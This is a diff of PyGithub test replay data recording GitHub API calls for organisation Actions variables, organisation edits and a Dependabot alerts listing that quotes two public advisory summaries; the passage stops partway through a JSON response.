-{"repos_count":1,"url":"https://api.github.com/teams/189852","members_count":0,"name":"Team also created by PyGithub","permission":"push","description":"Description also created by PyGithub","id":189852} +{"repos_count":1,"url":"https://api.github.com/teams/189852","members_count":0,"name":"Team also created by PyGithub","permission":"push","description":"Description also created by PyGithub","id":189852, "notification_setting": "notifications_disabled", "parent":{"repos_count":1,"permission":"push","url":"https://api.github.com/teams/141496","name":"Members","id":141496,"members_count":1}} diff --git a/tests/ReplayData/Organization.testCreateVariable.txt b/tests/ReplayData/Organization.testCreateVariable.txt new file mode 100644 index 0000000000..3f0b2676d6 --- /dev/null +++ b/tests/ReplayData/Organization.testCreateVariable.txt @@ -0,0 +1,10 @@ +https +POST +api.github.com +None +/orgs/BeaverSoftware/actions/variables +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"name": "variable-name", "value": "variable-value", "visibility": "all"} +201 +[('Server', 'GitHub.com'), ('Date', 'Wed, 28 Jun 2023 19:19:26 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"ab9b40dea6722e415dd424b31be226eac6da76ca693e83c73fed865610a4937e"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, audit_log, codespace, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('github-authentication-token-expiration', '2023-07-05 17:42:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4905'), ('X-RateLimit-Reset', '1687981543'), ('X-RateLimit-Used', '95'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '6FD1:95BE:1234AD:24C286:649C87BD')] +{} diff --git a/tests/ReplayData/Organization.testCreateVariableSelected.txt b/tests/ReplayData/Organization.testCreateVariableSelected.txt new file mode 100644 index 0000000000..10b0e05b8e --- /dev/null +++ b/tests/ReplayData/Organization.testCreateVariableSelected.txt @@ -0,0 +1,43 @@ +https +GET +api.github.com +None +/repos/BeaverSoftware/TestPyGithub +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '1431'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4ecd2c151a469cfa6cd45e6beff1269b"'), ('date', 'Fri, 01 Jun 2012 19:40:56 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"clone_url":"https://github.com/BeaverSoftware/TestPyGithub.git","has_downloads":true,"watchers":1,"git_url":"git://github.com/BeaverSoftware/TestPyGithub.git","updated_at":"2012-04-25T06:51:38Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","has_wiki":true,"has_pages":false,"has_issues":false,"fork":false,"forks":0,"mirror_url":null,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"TestPyGithub","language":null,"description":"Guinea-pig for PyGithub testing","ssh_url":"git@github.com:BeaverSoftware/TestPyGithub.git","pushed_at":"2012-03-03T08:57:40Z","created_at":"2012-03-03T07:53:19Z","id":3609352,"html_url":"https://github.com/BeaverSoftware/TestPyGithub","full_name":"BeaverSoftware/TestPyGithub"} + +https +GET +api.github.com +None +/repos/BeaverSoftware/FatherBeaver +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '1431'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4ecd2c151a469cfa6cd45e6beff1269b"'), ('date', 'Fri, 01 Jun 2012 19:40:56 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","has_downloads":true,"watchers":2,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","has_wiki":true,"has_pages":true,"has_issues":true,"fork":false,"forks":1,"mirror_url":null,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"} + +https +POST +api.github.com +None +/orgs/BeaverSoftware/actions/variables +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"name": "variable-name", "value": "variable-value", "visibility": "selected", "selected_repository_ids": [3609352, 3400397]} +201 +[('Server', 'GitHub.com'), ('Date', 'Wed, 28 Jun 2023 19:19:26 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"ab9b40dea6722e415dd424b31be226eac6da76ca693e83c73fed865610a4937e"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, audit_log, codespace, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('github-authentication-token-expiration', '2023-07-05 17:42:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4905'), ('X-RateLimit-Reset', '1687981543'), ('X-RateLimit-Used', '95'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '6FD1:95BE:1234AD:24C286:649C87BD')] +{} + +https +GET +api.github.com +None +/orgs/BeaverSoftware/actions/variables/variable-name/repositories +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"total_count": 2, "repositories": [{"clone_url":"https://github.com/BeaverSoftware/TestPyGithub.git","has_downloads":true,"watchers":1,"git_url":"git://github.com/BeaverSoftware/TestPyGithub.git","updated_at":"2012-04-25T06:51:38Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","has_wiki":true,"has_pages":false,"has_issues":false,"fork":false,"forks":0,"mirror_url":null,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"TestPyGithub","language":null,"description":"Guinea-pig for PyGithub testing","ssh_url":"git@github.com:BeaverSoftware/TestPyGithub.git","pushed_at":"2012-03-03T08:57:40Z","created_at":"2012-03-03T07:53:19Z","id":3609352,"html_url":"https://github.com/BeaverSoftware/TestPyGithub","full_name":"BeaverSoftware/TestPyGithub"}, {"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","has_downloads":true,"watchers":2,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","has_wiki":true,"has_pages":true,"has_issues":true,"fork":false,"forks":1,"mirror_url":null,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"}]} diff --git a/tests/ReplayData/Organization.testDeleteSecret.txt b/tests/ReplayData/Organization.testDeleteSecret.txt deleted file mode 100644 index cee0237a44..0000000000 --- a/tests/ReplayData/Organization.testDeleteSecret.txt +++ /dev/null @@ -1,10 +0,0 @@ -https -DELETE -api.github.com -None -/orgs/BeaverSoftware/actions/secrets/secret-name -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -204 -[('Date', 'Fri, 17 Apr 2020 00:12:33 GMT'), ('Server', 'GitHub.com'), ('Content-Length', '2'), ('Content-Type', 'application/json; charset=utf-8'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1587085388'), ('X-OAuth-Scopes', 'read:org, repo, user'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'C290:52DA:50234:B404B:5E98F470')] -{} \ No newline at end of file diff --git a/tests/ReplayData/Organization.testEditWithAllArguments.txt b/tests/ReplayData/Organization.testEditWithAllArguments.txt index 90364d265f..fb6b66dc21 100644 --- a/tests/ReplayData/Organization.testEditWithAllArguments.txt +++ b/tests/ReplayData/Organization.testEditWithAllArguments.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '833'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"fe61098c87e054abfa5626e6a76bbcbd"'), ('date', 'Sat, 26 May 2012 20:50:35 GMT'), ('content-type', 'application/json; charset=utf-8')] {"public_gists":0,"type":"Organization","disk_usage":112,"private_gists":0,"public_repos":2,"url":"https://api.github.com/orgs/BeaverSoftware","total_private_repos":0,"plan":{"private_repos":0,"name":"free","space":307200},"blog":"http://vincent-jacques.net","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","owned_private_repos":0,"collaborators":0,"company":"Company edited by PyGithub","login":"BeaverSoftware","email":"BeaverSoftware2@vincent-jacques.net","followers":0,"name":"Name edited by PyGithub","created_at":"2012-02-09T19:20:12Z","location":"Location edited by PyGithub","id":1424031,"billing_email":"BeaverSoftware2@vincent-jacques.net","following":0,"html_url":"https://github.com/BeaverSoftware", "description": "Description edited by PyGithub"} - diff --git a/tests/ReplayData/Organization.testEditWithoutArguments.txt b/tests/ReplayData/Organization.testEditWithoutArguments.txt index e57f145faa..1a799e8a5c 100644 --- a/tests/ReplayData/Organization.testEditWithoutArguments.txt +++ b/tests/ReplayData/Organization.testEditWithoutArguments.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '716'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"a9ca2dd89f69da85bebd949477894af0"'), ('date', 'Fri, 11 May 2012 09:07:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"owned_private_repos":0,"private_gists":0,"type":"Organization","following":0,"company":null,"html_url":"https://github.com/BeaverSoftware","blog":null,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","followers":0,"url":"https://api.github.com/orgs/BeaverSoftware","public_repos":2,"login":"BeaverSoftware","collaborators":0,"email":null,"disk_usage":112,"plan":{"private_repos":0,"space":307200,"name":"free"},"created_at":"2012-02-09T19:20:12Z","name":null,"total_private_repos":0,"billing_email":"BeaverSoftware@vincent-jacques.net","public_gists":0,"id":1424031,"location":"Paris, France"} - diff --git a/tests/ReplayData/Organization.testGetDependabotAlerts.txt b/tests/ReplayData/Organization.testGetDependabotAlerts.txt new file mode 100644 index 0000000000..d9847a5102 --- /dev/null +++ b/tests/ReplayData/Organization.testGetDependabotAlerts.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/orgs/BeaverSoftware/dependabot/alerts +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Sun, 21 Jan 2024 02:20:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"74ba6d05fb05fb4f70f9ad25bca9c224fe842693d02a6337fee2a3edf75e3ea5"'), ('Last-Modified', 'Sun, 21 Jan 2024 01:41:18 GMT'), ('X-OAuth-Scopes', 'admin:repo_hook, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo, security_events'), ('github-authentication-token-expiration', '2024-04-19 16:30:08 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4963'), ('X-RateLimit-Reset', '1705804700'), ('X-RateLimit-Used', '37'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '91C4:8C58:9B0B6C1:14060D4E:65AC7F5D')] +[{"number":1,"state":"open","dependency":{"package":{"ecosystem":"pip","name":"jinja2"},"manifest_path":"requirements/docs.txt","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-h5c8-rqwp-cp95","cve_id":"CVE-2024-22195","summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","description":"The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.","severity":"medium","identifiers":[{"value":"GHSA-h5c8-rqwp-cp95","type":"GHSA"},{"value":"CVE-2024-22195","type":"CVE"}],"references":[{"url":"https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-rqwp-cp95"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22195"},{"url":"https://github.com/pallets/jinja/commit/716795349a41d4983a9a4771f7d883c96ea17be7"},{"url":"https://github.com/pallets/jinja/releases/tag/3.1.3"},{"url":"https://github.com/advisories/GHSA-h5c8-rqwp-cp95"}],"published_at":"2024-01-11T15:20:48Z","updated_at":"2024-01-11T15:20:50Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4},"cwes":[{"cwe_id":"CWE-79","name":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"}]},"security_vulnerability":{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}},"url":"https://api.github.com/repos/BeaverSoftware/PyGithub/dependabot/alerts/1","html_url":"https://github.com/BeaverSoftware/PyGithub/security/dependabot/1","created_at":"2024-01-21T01:41:18Z","updated_at":"2024-01-21T01:41:18Z","dismissed_at":null,"dismissed_by":null,"dismissed_reason":null,"dismissed_comment":null,"fixed_at":null,"auto_dismissed_at":null,"repository":{"id":746080753,"node_id":"R_kgDOLHhJ8Q","name":"PyGithub","full_name":"BeaverSoftware/PyGithub","private":false,"owner":{"login":"BeaverSoftware","id":138729970,"node_id":"O_kgDOCETZ8g","avatar_url":"https://avatars.githubusercontent.com/u/138729970?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/BeaverSoftware/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/BeaverSoftware/PyGithub","forks_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/forks","keys_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/teams","hooks_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/events","assignees_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/tags","blobs_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/languages","stargazers_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/subscription","commits_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/merges","archive_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/downloads","issues_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/deployments"}},{"number":7,"state":"open","dependency":{"package":{"ecosystem":"npm","name":"follow-redirects"},"manifest_path":"package-lock.json","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-jchw-25xp-jwwc","cve_id":"CVE-2023-26159","summary":"Follow Redirects improperly handles URLs in the url.parse() function","description":"Versions of the package follow-redirects before 1.15.4 are vulnerable to Improper Input Validation due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.","severity":"medium","identifiers":[{"value":"GHSA-jchw-25xp-jwwc","type":"GHSA"},{"value":"CVE-2023-26159","type":"CVE"}],"references":[{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-26159"},{"url":"https://github.com/follow-redirects/follow-redirects/issues/235"},{"url":"https://github.com/follow-redirects/follow-redirects/pull/236"},{"url":"https://security.snyk.io/vuln/SNYK-JS-FOLLOWREDIRECTS-6141137"},{"url":"https://github.com/follow-redirects/follow-redirects/commit/7a6567e16dfa9ad18a70bfe91784c28653fbf19d"},{"url":"https://github.com/advisories/GHSA-jchw-25xp-jwwc"}],"published_at":"2024-01-02T06:30:30Z","updated_at":"2024-01-09T19:03:25Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"follow-redirects"},"severity":"medium","vulnerable_version_range":"< 1.15.4","first_patched_version":{"identifier":"1.15.4"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1},"cwes":[{"cwe_id":"CWE-20","name":"Improper Input Validation"},{"cwe_id":"CWE-601","name":"URL Redirection to Untrusted Site ('Open Redirect')"}]},"security_vulnerability":{"package":{"ecosystem":"npm","name":"follow-redirects"},"severity":"medium","vulnerable_version_range":"< 1.15.4","first_patched_version":{"identifier":"1.15.4"}},"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/dependabot/alerts/7","html_url":"https://github.com/BeaverSoftware/opensource-management-portal/security/dependabot/7","created_at":"2024-01-21T01:29:52Z","updated_at":"2024-01-21T01:29:52Z","dismissed_at":null,"dismissed_by":null,"dismissed_reason":null,"dismissed_comment":null,"fixed_at":null,"auto_dismissed_at":null,"repository":{"id":682315953,"node_id":"R_kgDOKKtQsQ","name":"opensource-management-portal","full_name":"BeaverSoftware/opensource-management-portal","private":false,"owner":{"login":"BeaverSoftware","id":138729970,"node_id":"O_kgDOCETZ8g","avatar_url":"https://avatars.githubusercontent.com/u/138729970?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/BeaverSoftware/opensource-management-portal","description":"Microsoft's monolithic, opinionated Open Source Management Portal enabling enterprise scale self-service powered by the GitHub API 🏔🧑‍💻🧰","fork":true,"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal","forks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/forks","keys_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/teams","hooks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/hooks","issue_events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/events{/number}","events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/events","assignees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/assignees{/user}","branches_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/branches{/branch}","tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/tags","blobs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/refs{/sha}","trees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/statuses/{sha}","languages_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/languages","stargazers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/stargazers","contributors_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contributors","subscribers_url":"https://api.github.com/repos/Be